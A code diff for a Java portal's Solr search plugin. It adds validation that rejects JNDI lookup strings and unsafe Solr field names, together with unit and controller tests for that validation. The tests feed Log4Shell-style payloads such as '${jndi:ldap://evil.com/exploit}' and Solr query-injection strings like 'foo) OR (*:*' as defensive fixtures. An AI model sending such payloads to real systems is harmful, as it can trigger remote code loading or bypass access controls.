diff --git a/admin-console/src/main/webapp/error.jsp b/admin-console/src/main/webapp/error.jsp index 8bec65d6fd..8074cf17f7 100644 --- a/admin-console/src/main/webapp/error.jsp +++ b/admin-console/src/main/webapp/error.jsp @@ -5,9 +5,9 @@ <%@ taglib prefix="wp" uri="/aps-core" %> <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <% - Object statusCode = request.getAttribute("javax.servlet.error.status_code"); - Object exceptionType = request.getAttribute("javax.servlet.error.exception_type"); - Object message = request.getAttribute("javax.servlet.error.message"); + Object statusCode = request.getAttribute("jakarta.servlet.error.status_code"); + Object exceptionType = request.getAttribute("jakarta.servlet.error.exception_type"); + Object message = request.getAttribute("jakarta.servlet.error.message"); %> diff --git a/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java b/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java index ac90da2695..65c97e83a8 100644 --- a/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java +++ b/portal-ui/src/main/java/com/agiletec/aps/system/services/controller/control/Authenticator.java @@ -101,12 +101,37 @@ public int service(RequestContext reqCtx, int status) { } retStatus = ControllerManager.CONTINUE; } catch (Throwable t) { - _logger.error("Error, could not fulfill the request", t); + if (isMalformedRequest(t)) { + // The request itself is malformed (e.g. invalid query string encoding): this is a + // client error, not a server fault. Log it concisely, without the full stack trace. + _logger.warn("Could not fulfill the request: malformed request ({})", t.getMessage()); + } else { + _logger.error("Error, could not fulfill the request", t); + } retStatus = ControllerManager.SYS_ERROR; reqCtx.setHTTPError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR); } return retStatus; } + + /** + * Detects whether the given throwable (or any cause in its chain) denotes a malformed client + * request, such as an invalid query string encoding surfaced while accessing request parameters. + * Such conditions are client errors (HTTP 400) and don't warrant a full ERROR stack trace. + * Matching is done by class name to avoid a hard dependency on the servlet container internals. + */ + private static boolean isMalformedRequest(Throwable t) { + for (Throwable cause = t; cause != null; cause = cause.getCause()) { + String className = cause.getClass().getSimpleName(); + if ("BadMessageException".equals(className) || cause instanceof IllegalArgumentException) { + return true; + } + if (cause.getCause() == cause) { + break; + } + } + return false; + } protected IUserManager getUserManager() { return _userManager; diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java index d903ea29c8..1644d79623 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManager.java @@ -22,6 +22,7 @@ import com.agiletec.plugins.jacms.aps.system.services.searchengine.ICmsSearchEngineManager; import java.util.ArrayList; import java.util.List; +import java.util.regex.Pattern; import java.util.stream.Collectors; import org.apache.commons.lang3.ArrayUtils; import org.apache.commons.lang3.StringUtils; @@ -29,9 +30,15 @@ import org.entando.entando.aps.system.services.searchengine.FacetedContentsResult; import org.entando.entando.aps.system.services.searchengine.SearchEngineFilter; import org.entando.entando.ent.exception.EntException; +import org.entando.entando.ent.util.EntLogging.EntLogFactory; +import org.entando.entando.ent.util.EntLogging.EntLogger; +import org.entando.entando.web.common.exceptions.ValidationConflictException; +import org.entando.entando.web.common.model.Filter; import org.entando.entando.plugins.jpsolr.aps.system.solr.ISolrSearchEngineManager; import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrFacetedContentsResult; import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrSearchEngineFilter; +import org.entando.entando.plugins.jpsolr.web.content.model.SolrFilter; +import org.springframework.validation.BeanPropertyBindingResult; import org.entando.entando.plugins.jpsolr.conditions.SolrActive; import org.entando.entando.plugins.jpsolr.web.content.model.AdvRestContentListRequest; import org.springframework.beans.factory.annotation.Autowired; @@ -44,6 +51,11 @@ @SolrActive(true) public class AdvContentFacetManager implements IAdvContentFacetManager { + private static final EntLogger logger = EntLogFactory.getSanitizedLogger(AdvContentFacetManager.class); + + private static final Pattern SAFE_IDENTIFIER = Pattern.compile("[a-zA-Z0-9_.:,-]+"); + private static final Pattern INJECTION_PATTERN = Pattern.compile("\\$\\{|%24%7B", Pattern.CASE_INSENSITIVE); + private final ICategoryManager categoryManager; private final ICmsSearchEngineManager searchEngineManager; private final IAuthorizationManager authorizationManager; @@ -101,11 +113,12 @@ protected SearchEngineFilter[] getFilters(SearchEngineFilter[] baseFilters, List @Override public SolrFacetedContentsResult getFacetedContents(AdvRestContentListRequest requestList, UserDetails user) { + this.validateRequest(requestList); SolrFacetedContentsResult facetedResult; try { - String langCode = - (StringUtils.isBlank(requestList.getLang())) ? this.langManager.getDefaultLang().getCode() - : requestList.getLang(); + String langCode = StringUtils.isBlank(requestList.getLang()) + ? this.langManager.getDefaultLang().getCode() + : requestList.getLang(); SolrSearchEngineFilter[] searchFilters = requestList.extractFilters(langCode); SolrSearchEngineFilter[][] doubleFilters = requestList.extractDoubleFilters(langCode); if (null != searchFilters) { @@ -124,6 +137,93 @@ public SolrFacetedContentsResult getFacetedContents(AdvRestContentListRequest re return facetedResult; } + protected void validateRequest(AdvRestContentListRequest requestList) { + BeanPropertyBindingResult bindingResult = + new BeanPropertyBindingResult(requestList, "advContentSearchRequest"); + // lang + if (!StringUtils.isBlank(requestList.getLang())) { + boolean validLang = this.langManager.getLangs().stream() + .anyMatch(l -> l.getCode().equals(requestList.getLang())); + if (!validLang) { + bindingResult.rejectValue("lang", "INVALID_LANG_CODE", + new Object[]{}, "lang.code.invalid"); + } + } + // sort + rejectIfUnsafeIdentifier(requestList.getSort(), "sort", bindingResult); + // direction + rejectIfUnsafeIdentifier(requestList.getDirection(), "direction", bindingResult); + // text + rejectIfInjection(requestList.getText(), "text", bindingResult); + // searchOption + rejectIfUnsafeIdentifier(requestList.getSearchOption(), "searchOption", bindingResult); + // csvCategories + if (null != requestList.getCsvCategories()) { + for (String csv : requestList.getCsvCategories()) { + rejectIfUnsafeIdentifier(csv, "csvCategories", bindingResult); + } + } + // filters + validateFilters(requestList.getFilters(), "filters", bindingResult); + // doubleFilters + if (null != requestList.getDoubleFilters()) { + for (SolrFilter[] innerFilters : requestList.getDoubleFilters()) { + validateFilters(innerFilters, "doubleFilters", bindingResult); + } + } + if (bindingResult.hasErrors()) { + throw new ValidationConflictException(bindingResult); + } + } + + private void validateFilters(Filter[] filters, String fieldPrefix, + BeanPropertyBindingResult bindingResult) { + if (null == filters) { + return; + } + for (Filter filter : filters) { + rejectIfUnsafeIdentifier(filter.getAttribute(), fieldPrefix + ".attribute", bindingResult); + rejectIfUnsafeIdentifier(filter.getEntityAttr(), fieldPrefix + ".entityAttr", bindingResult); + rejectIfUnsafeIdentifier(filter.getOperator(), fieldPrefix + ".operator", bindingResult); + rejectIfUnsafeIdentifier(filter.getOrder(), fieldPrefix + ".order", bindingResult); + rejectIfUnsafeIdentifier(filter.getType(), fieldPrefix + ".type", bindingResult); + rejectIfInjection(filter.getValue(), fieldPrefix + ".value", bindingResult); + if (null != filter.getAllowedValues()) { + for (String av : filter.getAllowedValues()) { + rejectIfInjection(av, fieldPrefix + ".allowedValues", bindingResult); + } + } + if (filter instanceof SolrFilter solrFilter) { + rejectIfUnsafeIdentifier(solrFilter.getSearchOption(), + fieldPrefix + ".searchOption", bindingResult); + } + } + } + + private static void rejectIfUnsafeIdentifier(String value, String field, + BeanPropertyBindingResult bindingResult) { + if (StringUtils.isBlank(value)) { + return; + } + if (!SAFE_IDENTIFIER.matcher(value).matches()) { + logger.warn("Rejected unsafe identifier in field '{}': '{}'", field, value); + bindingResult.rejectValue(null, "INVALID_PARAMETER", + new Object[]{field}, "parameter.invalid"); + } + } + + private static void rejectIfInjection(String value, String field, + BeanPropertyBindingResult bindingResult) { + if (StringUtils.isBlank(value)) { + return; + } + if (INJECTION_PATTERN.matcher(value).find()) { + logger.warn("Rejected injection pattern in field '{}': '{}'", field, value); + bindingResult.rejectValue(null, "INVALID_PARAMETER", + new Object[]{field}, "parameter.invalid"); + } + } + protected List getAllowedGroups(UserDetails currentUser) { List groupCodes = new ArrayList<>(); if (null != currentUser) { diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java index fb5a799ece..db41072738 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAO.java @@ -182,16 +182,26 @@ protected SolrFacetedContentsResult executeQuery(Query query, SearchEngineFilter } private void addFilters(SolrQuery solrQuery, SearchEngineFilter[] filters) { - if (null != filters) { - for (SearchEngineFilter filter : filters) { - if (null != this.getRelevance(filter)) { - solrQuery.addSort("score", ORDER.desc); - } else if (null != filter.getOrder()) { - String fieldKey = this.getFilterKey(filter); - boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); - solrQuery.addSort(fieldKey, (revert) ? ORDER.desc : ORDER.asc); - } - } + if (null == filters) { + return; + } + for (SearchEngineFilter filter : filters) { + this.addSort(solrQuery, filter); + } + } + + private void addSort(SolrQuery solrQuery, SearchEngineFilter filter) { + if (null != this.getRelevance(filter)) { + solrQuery.addSort("score", ORDER.desc); + return; + } + if (null == filter.getOrder()) { + return; + } + String fieldKey = this.getFilterKey(filter); + if (null != fieldKey) { + boolean revert = filter.getOrder().toString().equalsIgnoreCase("DESC"); + solrQuery.addSort(fieldKey, revert ? ORDER.desc : ORDER.asc); } } @@ -334,6 +344,9 @@ protected Query createQueryByFilter(SearchEngineFilter filter) { return null; } String key = this.getFilterKey(filter); + if (null == key) { + return null; + } Object value = filter.getValue(); List allowedValues = filter.getAllowedValues(); Integer relevanceValue = this.getRelevance(filter); @@ -549,8 +562,8 @@ protected Query getTermQueryForTextSearch(String key, String value, boolean isLi protected String getFilterKey(SearchEngineFilter filter) { String key = filter.getKey().replace(":", "_"); if (!VALID_FIELD_KEY.matcher(key).matches()) { - throw new IllegalArgumentException( - "Rejected Solr field key with unsafe characters: '" + key + "'"); + log.warn("Rejected Solr field key with unsafe characters: '{}'", key); + return null; } if (filter.isFullTextSearch()) { return key; @@ -561,8 +574,8 @@ protected String getFilterKey(SearchEngineFilter filter) { : insertedLangCode; String normalizedLang = langCode.toLowerCase(); if (!VALID_FIELD_KEY.matcher(normalizedLang).matches()) { - throw new IllegalArgumentException( - "Rejected Solr lang code with unsafe characters: '" + normalizedLang + "'"); + log.warn("Rejected Solr lang code with unsafe characters: '{}'", normalizedLang); + return null; } key = normalizedLang + "_" + key; } else if (!key.startsWith(SolrFields.SOLR_FIELD_PREFIX)) { diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java index a919d8915d..b73301e9d1 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/content/AdvContentFacetManagerTest.java @@ -3,21 +3,36 @@ import static org.mockito.ArgumentMatchers.any; import static org.mockito.ArgumentMatchers.eq; import static org.mockito.ArgumentMatchers.isNull; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; +import com.agiletec.aps.system.services.authorization.IAuthorizationManager; import com.agiletec.aps.system.services.category.Category; import com.agiletec.aps.system.services.category.CategoryManager; import com.agiletec.aps.system.services.group.Group; +import com.agiletec.aps.system.services.lang.ILangManager; +import com.agiletec.aps.system.services.lang.Lang; import com.agiletec.plugins.jacms.aps.system.services.content.widget.UserFilterOptionBean; import java.util.List; import org.entando.entando.aps.system.services.searchengine.SearchEngineFilter; +import org.entando.entando.plugins.jpsolr.aps.system.solr.ISolrSearchEngineManager; import org.entando.entando.plugins.jpsolr.aps.system.solr.SolrSearchEngineManager; +import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrFacetedContentsResult; +import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrSearchEngineFilter; +import org.entando.entando.plugins.jpsolr.web.content.model.AdvRestContentListRequest; +import org.entando.entando.plugins.jpsolr.web.content.model.SolrFilter; +import org.entando.entando.web.common.exceptions.ValidationConflictException; +import org.entando.entando.web.common.model.Filter; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.ValueSource; import org.mockito.ArgumentCaptor; import org.mockito.InjectMocks; import org.mockito.Mock; -import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; @ExtendWith(MockitoExtension.class) @@ -30,15 +45,19 @@ class AdvContentFacetManagerTest { private CategoryManager categoryManager; @Mock private SolrSearchEngineManager searchEngineManager; + @Mock + private IAuthorizationManager authorizationManager; + @Mock + private ILangManager langManager; @InjectMocks private AdvContentFacetManager facetManager; @Test void shouldGetFacetResultWithBeansFilterAndNodeCodesAsList() throws Exception { - UserFilterOptionBean filterOptionBean = Mockito.mock(UserFilterOptionBean.class); - Mockito.when(filterOptionBean.extractFilter()).thenReturn(Mockito.mock(SearchEngineFilter.class)); - Mockito.when(categoryManager.getCategory(CATEGORY_1)).thenReturn(new Category()); + UserFilterOptionBean filterOptionBean = mock(UserFilterOptionBean.class); + when(filterOptionBean.extractFilter()).thenReturn(mock(SearchEngineFilter.class)); + when(categoryManager.getCategory(CATEGORY_1)).thenReturn(new Category()); SearchEngineFilter[] baseFilters = new SearchEngineFilter[]{}; List facetNodeCodes = List.of(CATEGORY_1, CATEGORY_2); @@ -50,7 +69,7 @@ void shouldGetFacetResultWithBeansFilterAndNodeCodesAsList() throws Exception { ArgumentCaptor categoryFiltersCaptor = ArgumentCaptor.forClass( SearchEngineFilter[].class); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( filtersCaptor.capture(), categoryFiltersCaptor.capture(), eq(groups)); SearchEngineFilter[] filters = filtersCaptor.getValue(); @@ -67,7 +86,7 @@ void shouldGetFacetResultWithNullFilters() throws Exception { ArgumentCaptor filtersCaptor = ArgumentCaptor.forClass(SearchEngineFilter[].class); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( filtersCaptor.capture(), (SearchEngineFilter[]) isNull(), isNull()); SearchEngineFilter[] filters = filtersCaptor.getValue(); @@ -78,7 +97,122 @@ void shouldGetFacetResultWithNullFilters() throws Exception { void shouldGetFacetResultWithNodeCodesAsFilter() throws Exception { SearchEngineFilter[] nodeCodesFilter = new SearchEngineFilter[]{}; facetManager.getFacetResult(null, nodeCodesFilter, null, null); - Mockito.verify(searchEngineManager).searchFacetedEntities( + verify(searchEngineManager).searchFacetedEntities( any(SearchEngineFilter[].class), eq(nodeCodesFilter), isNull()); } + + @Test + void shouldRejectJndiInjectionInLang() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setLang("${jndi:ldap://evil.com/exploit}"); + when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectNonExistentLangCode() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setLang("zzz"); + when(langManager.getLangs()).thenReturn(List.of(createLang("en"))); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldAcceptBlankLangCodeAndUseDefault() throws Exception { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + when(langManager.getDefaultLang()).thenReturn(createLang("en")); + when(((ISolrSearchEngineManager) searchEngineManager) + .searchFacetedEntities( + any(SolrSearchEngineFilter[][].class), + any(SolrSearchEngineFilter[].class), + any(List.class))) + .thenReturn(new SolrFacetedContentsResult()); + facetManager.getFacetedContents(request, null); + verify(langManager, never()).getLangs(); + } + + @ParameterizedTest + @ValueSource(strings = { + "${jndi:ldap://evil.com/exploit}", + "${sys:java.version}", + "%24%7Bjndi:ldap://evil.com%7D" + }) + void shouldRejectInjectionInSort(String malicious) { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setSort(malicious); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInCsvCategories() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setCsvCategories(new String[]{"${jndi:ldap://evil.com}"}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInText() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setText("${jndi:ldap://evil.com}"); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterAttribute() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("${jndi:ldap://evil.com}", "someValue", "eq"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterEntityAttr() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter(); + filter.setEntityAttr("${jndi:ldap://evil.com}"); + filter.setOperator("eq"); + filter.setValue("test"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInFilterValue() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("typeCode", "${jndi:ldap://evil.com}", "eq"); + filter.setEntityAttr("typeCode"); + request.setFilters(new Filter[]{filter}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInDoubleFilterAttribute() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + SolrFilter filter = new SolrFilter("${jndi:ldap://evil.com}", "val", "eq"); + request.setDoubleFilters(new SolrFilter[][]{{filter}}); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + @Test + void shouldRejectInjectionInSearchOption() { + AdvRestContentListRequest request = new AdvRestContentListRequest(); + request.setSearchOption("${jndi:ldap://evil.com}"); + Assertions.assertThrows(ValidationConflictException.class, + () -> facetManager.getFacetedContents(request, null)); + } + + private static Lang createLang(String code) { + Lang lang = new Lang(); + lang.setCode(code); + return lang; + } } diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java index e9ac539c94..cbccb3b062 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SearcherDAOSpecialCharsTest.java @@ -1,5 +1,9 @@ package org.entando.entando.plugins.jpsolr.aps.system.solr; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + import com.agiletec.aps.system.common.tree.ITreeNodeManager; import com.agiletec.aps.system.services.lang.ILangManager; import com.agiletec.aps.system.services.lang.Lang; @@ -19,9 +23,7 @@ import org.mockito.ArgumentCaptor; import org.mockito.InjectMocks; import org.mockito.Mock; -import org.mockito.Mockito; import org.mockito.junit.jupiter.MockitoExtension; -import static org.junit.jupiter.api.Assertions.assertThrows; /** * Special-character handling tests for SearcherDAO query building. @@ -119,7 +121,7 @@ void shouldNotThrowOnSingleAsteriskValue() throws Exception { ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); QueryResponse queryResponse = mockQueryResponse(); - Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + when(solrClient.query(any(), queryCaptor.capture())) .thenReturn(queryResponse); searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, @@ -250,44 +252,39 @@ void exactPhraseMultipleValuesEmitsQuotedOutput_documentingCurrentBehavior() thr // User-controlled field names that contain Lucene/Solr meta-characters // (parentheses, spaces, operators, local-params braces …) corrupt the // query string produced by BooleanQuery.toString() and can break the - // group-based access-control filter. All such inputs must be rejected - // with IllegalArgumentException before any Term object is constructed. + // group-based access-control filter. All such inputs must be dropped + // (logged and skipped) so that the injected field never reaches the + // executed query, which retains only the safe access-control clause. // ------------------------------------------------------------------ @Test - void shouldRejectFieldNameWithParenthesisAndOrOperator() { + void shouldDropFieldNameWithParenthesisAndOrOperator() throws Exception { // Simulates: filters[0].attribute = "foo) OR (*:*" SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("foo) OR (*:*", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectEntityAttrWithInjectedOperator() { + void shouldDropEntityAttrWithInjectedOperator() throws Exception { // Simulates: filters[0].entityAttr = "attr) OR (*:*" (isAttributeFilter = true) SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("attr) OR (*:*", true, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameWithSpaces() { + void shouldDropFieldNameWithSpaces() throws Exception { SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("valid AND malicious", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectLangCodeUsedAsFullTextSearchKey() { + void shouldDropLangCodeUsedAsFullTextSearchKey() throws Exception { // Simulates: lang = "en) OR (*:*" passed as the full-text search field key. // The filter key IS the lang code when fullTextSearch = true. SolrSearchEngineFilter filter = @@ -295,37 +292,31 @@ void shouldRejectLangCodeUsedAsFullTextSearchKey() { TextSearchOption.AT_LEAST_ONE_WORD); filter.setFullTextSearch(true); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectInjectedLangCodePrefixOnAttributeFilter() { + void shouldDropInjectedLangCodePrefixOnAttributeFilter() throws Exception { // Simulates a crafted SolrSearchEngineFilter whose langCode (the prefix // prepended to the field name for attribute filters) contains operators. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("key", true, "value"); filter.setLangCode("en) OR (*:*"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameWithSolrLocalParamsBrace() { + void shouldDropFieldNameWithSolrLocalParamsBrace() throws Exception { // Simulates an attempt to inject Solr local params ({!...}) via field name. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("{!func}log(popularity)", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameInDoubleFilterArray() { + void shouldDropFieldNameInDoubleFilterArray() throws Exception { // Same injection via the searchFacetedContents(SearchEngineFilter[][] …) overload. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("foo) OR (*:*", false, "value"); @@ -333,9 +324,15 @@ void shouldRejectFieldNameInDoubleFilterArray() { SearchEngineFilter[][] doubleFilters = new SearchEngineFilter[][]{{filter}}; - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(doubleFilters, - new SearchEngineFilter[]{}, new ArrayList<>())); + ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); + QueryResponse queryResponse = mockQueryResponse(); + when(solrClient.query(any(), queryCaptor.capture())) + .thenReturn(queryResponse); + + searcherDAO.searchFacetedContents(doubleFilters, + new SearchEngineFilter[]{}, new ArrayList<>()); + + Assertions.assertEquals("+(entity_group:free)", queryCaptor.getValue().getQuery()); } // ------------------------------------------------------------------ @@ -345,7 +342,7 @@ void shouldRejectFieldNameInDoubleFilterArray() { private void runAndAssert(SearchEngineFilter filter, String expectedQuery) throws Exception { ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); QueryResponse queryResponse = mockQueryResponse(); - Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + when(solrClient.query(any(), queryCaptor.capture())) .thenReturn(queryResponse); searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, @@ -357,13 +354,13 @@ private void runAndAssert(SearchEngineFilter filter, String expectedQuery) throw private void mockDefaultLang() { Lang lang = new Lang(); lang.setCode("en"); - Mockito.when(langManager.getDefaultLang()).thenReturn(lang); + when(langManager.getDefaultLang()).thenReturn(lang); } private QueryResponse mockQueryResponse() { - QueryResponse queryResponse = Mockito.mock(QueryResponse.class); + QueryResponse queryResponse = mock(QueryResponse.class); SolrDocumentList documents = new SolrDocumentList(); - Mockito.when(queryResponse.getResults()).thenReturn(documents); + when(queryResponse.getResults()).thenReturn(documents); return queryResponse; } } \ No newline at end of file diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java index 982ee432c1..ff2d996a90 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java @@ -1223,4 +1223,64 @@ void testSearchByOption() throws Exception { super.waitNotifyingThread(); } + @Test + void testFacetedContentsWithInvalidLangReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("lang", "${jndi:ldap://evil.com/exploit}")); + result.andExpect(status().isConflict()); + } + + @Test + void testContentsWithInvalidLangReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/contents") + .param("lang", "${jndi:ldap://evil.com/exploit}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInSortReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("sort", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInFilterAttributeReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].attribute", "${jndi:ldap://evil.com}") + .param("filters[0].operator", "eq") + .param("filters[0].value", "test")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInFilterValueReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].entityAttr", "typeCode") + .param("filters[0].operator", "eq") + .param("filters[0].value", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInCsvCategoriesReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("csvCategories", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInTextReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/contents") + .param("text", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + }